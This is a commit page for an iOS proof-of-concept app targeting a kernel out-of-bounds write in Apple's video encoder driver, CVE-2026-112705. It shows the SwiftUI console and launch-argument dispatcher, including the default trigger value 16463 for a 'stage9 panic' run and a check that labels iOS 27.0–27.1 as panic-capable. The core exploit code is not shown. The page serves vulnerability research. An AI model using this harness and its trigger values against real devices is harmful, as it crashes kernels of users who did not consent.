AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)

- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima):
  stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept
- New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix,
  stage15 private-key entitlement audit (23 keys)
- Panic journal: kern.boottime-based in-app panic evidence after reboot
- Interactive SwiftUI console + NTL field + report share; header shows
  PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+
- App icon: temporal-layer stack, top layer displaced past the stack edge
- scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
This commit is contained in:
JBJF committed 2026-10-30 19:13:13 +08:00
commit bc019e2b6c
11 files changed
+1829

No files matched your search

+254
View File
@@ -0,0 +1,254 @@
// AVE27 · app entry + stage console UI
// Two drive modes:
// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13,
// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC
// 2. interactive: pick a stage, set the layer count, run, watch the live console
// Every launch checks the panic journal first — an unfinished armed run plus a
// changed kernel boot time is reported as the panic that ended it.
import SwiftUI
import UIKit
@main
struct AVE27App: App {
var body: some Scene {
WindowGroup { RootView() }
}
}
/// Bridges the Probe singleton's append-only log to SwiftUI.
final class LogStore: ObservableObject {
@Published var text: String = ""
init() {
Probe.shared.onUpdate = { [weak self] in
let snapshot = Probe.shared.log
DispatchQueue.main.async { self?.text = snapshot }
}
}
}
struct RootView: View {
@StateObject private var store = LogStore()
@State private var ntlText = "16463"
@State private var keyText = "NumberOfTemporalLayers"
@State private var fileText = "avc_900_slices.h264"
@State private var running = false
private var ntl: Int { Int(ntlText) ?? 16463 }
var body: some View {
VStack(spacing: 0) {
header
stageMenu
console
}
.background(Color.black.ignoresSafeArea())
.onAppear(perform: launch)
.toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } }
.preferredColorScheme(.dark)
}
// ── header ────────────────────────────────────────────────────────────
private var header: some View {
HStack(alignment: .firstTextBaseline) {
VStack(alignment: .leading, spacing: 2) {
Text("AVE27")
.font(.system(.headline, design: .monospaced))
Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine)
.font(.system(.caption2, design: .monospaced))
.foregroundStyle(.secondary)
}
Spacer()
Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD")
.font(.system(.caption2, design: .monospaced, weight: .bold))
.foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green)
}
.padding(.horizontal).padding(.vertical, 8)
}
private var deviceLine: String {
let os = ProcessInfo.processInfo.operatingSystemVersion
let ver = "\(os.majorVersion).\(os.minorVersion)"
var size = 0
sysctlbyname("hw.machine", nil, &size, nil, 0)
var machine = [CChar](repeating: 0, count: size)
sysctlbyname("hw.machine", &machine, &size, nil, 0)
let model = String(cString: machine)
return "iOS \(ver) · \(model)"
}
/// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900.
private var panicCapable: Bool {
let os = ProcessInfo.processInfo.operatingSystemVersion
return (os.majorVersion == 27 && os.minorVersion <= 1)
}
// ── stage menu ────────────────────────────────────────────────────────
private var stageMenu: some View {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 8) {
stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) }
stageButton("stage13 sweep") { Probe.shared.stage13() }
stageButton("stage14 matrix") { Probe.shared.stage14() }
stageButton("stage15 audit") { Probe.shared.stage15() }
stageButton("SBE") { Probe.shared.stageSandboxExtensions() }
Divider().frame(height: 24)
stageButton("stage1 props") { Probe.shared.stage1() }
stageButton("stage7 dump") { Probe.shared.stage7() }
stageButton("fuzz") { Probe.shared.fuzz() }
stageButton("stage5 layer") { Probe.shared.stage5() }
stageButton("stage21 ids") { Probe.shared.stage21() }
Divider().frame(height: 24)
stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) }
stageButton("stage6 dump") { Probe.shared.stage6(num: 4) }
stageButton("stage10 ps") { Probe.shared.stage10(n: 8) }
stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) }
stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) }
stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) }
stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) }
stageButton("stage4 pps") { Probe.shared.stage4(count: 16) }
}
.padding(.horizontal).padding(.bottom, 6)
}
}
private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View {
Button {
runStage(action)
} label: {
Text(label)
.font(.system(.caption, design: .monospaced))
.padding(.horizontal, 10).padding(.vertical, 6)
.background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14)))
.overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28)))
}
.buttonStyle(.plain)
.disabled(running)
.opacity(running ? 0.4 : 1)
}
private func runStage(_ action: @escaping () -> Void) {
running = true
DispatchQueue.global(qos: .userInitiated).async {
action()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
// ── console ───────────────────────────────────────────────────────────
private var console: some View {
ScrollView {
ScrollViewReader { proxy in
Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text)
.font(.system(size: 10.5, design: .monospaced))
.frame(maxWidth: .infinity, alignment: .leading)
.padding(8)
.id("tail")
.onChange(of: store.text) { _, _ in
proxy.scrollTo("tail", anchor: .bottom)
}
}
}
.background(Color(white: 0.06))
.overlay(alignment: .top) { paramRow }
}
private var paramRow: some View {
HStack(spacing: 12) {
VStack(alignment: .leading, spacing: 1) {
Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("16463", text: $ntlText)
.keyboardType(.numberPad)
.font(.system(.caption, design: .monospaced))
.frame(width: 84)
.textFieldStyle(.roundedBorder)
}
VStack(alignment: .leading, spacing: 1) {
Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("file", text: $fileText)
.font(.system(.caption, design: .monospaced))
.textFieldStyle(.roundedBorder)
}
Spacer()
}
.padding(.horizontal).padding(.vertical, 6)
.background(.thinMaterial)
}
// ── share ─────────────────────────────────────────────────────────────
private var shareButton: some View {
Button {
let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
let url = docs.appendingPathComponent("ave_report.txt")
try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8)
let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url],
applicationActivities: nil)
UIApplication.shared.connectedScenes
.compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController }
.first?.present(av, animated: true)
} label: {
Image(systemName: "square.and.arrow.up")
}
}
// ── launch: panic evidence first, then argument dispatch ─────────────
private func launch() {
running = true
DispatchQueue.global(qos: .userInitiated).async {
Probe.shared.checkPanicEvidence()
runFromArguments()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
/// Original repo dispatch, verbatim parity — runs when launch arguments are present.
private func runFromArguments() {
let args = ProcessInfo.processInfo.arguments
let p = Probe.shared
guard args.contains(where: { $0.hasPrefix("--") }) else { return }
if args.contains("--fuzz") { p.fuzz() }
else if args.contains("--sbext") { p.stageSandboxExtensions() }
else if args.contains("--props") { p.stage1() }
else if args.contains("--stage5") { p.stage5() }
else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count {
p.stage20(file: args[i + 1])
} else if args.contains("--stage21") { p.stage21() }
else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count {
let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1
let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0
p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage)
} else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count {
p.stage11(n: Int(args[i + 1]) ?? 3)
} else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count {
let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0
p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage)
} else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count {
p.stage9(n: Int(args[i + 1]) ?? 12742)
} else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count {
let lo = Int(args[i + 1]) ?? 16450
let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470
p.stage13(lo: min(lo, hi), hi: max(lo, hi))
} else if args.contains("--stage14") { p.stage14() }
else if args.contains("--stage15") { p.stage15() }
else if args.contains("--stage7") { p.stage7() }
else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count {
let key = args[i + 1]
let vals = args[i + 2].split(separator: ",").compactMap { Int($0) }
p.stage8(key: key, values: vals.isEmpty ? [8] : vals)
} else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count {
p.stage6(num: Int(args[i + 1]) ?? 1)
} else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count {
p.stage4(count: Int(args[i + 1]) ?? 16)
} else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count {
func intArg(_ name: String, _ def: Int) -> Int {
guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def }
return Int(args[j + 1]) ?? def
}
p.stage2(value: Int(args[i + 1]) ?? 8,
realtime: !args.contains("--nort"),
efr: intArg("--efr", 30), blr: intArg("--blr", 15))
} else { p.stage1() }
}
}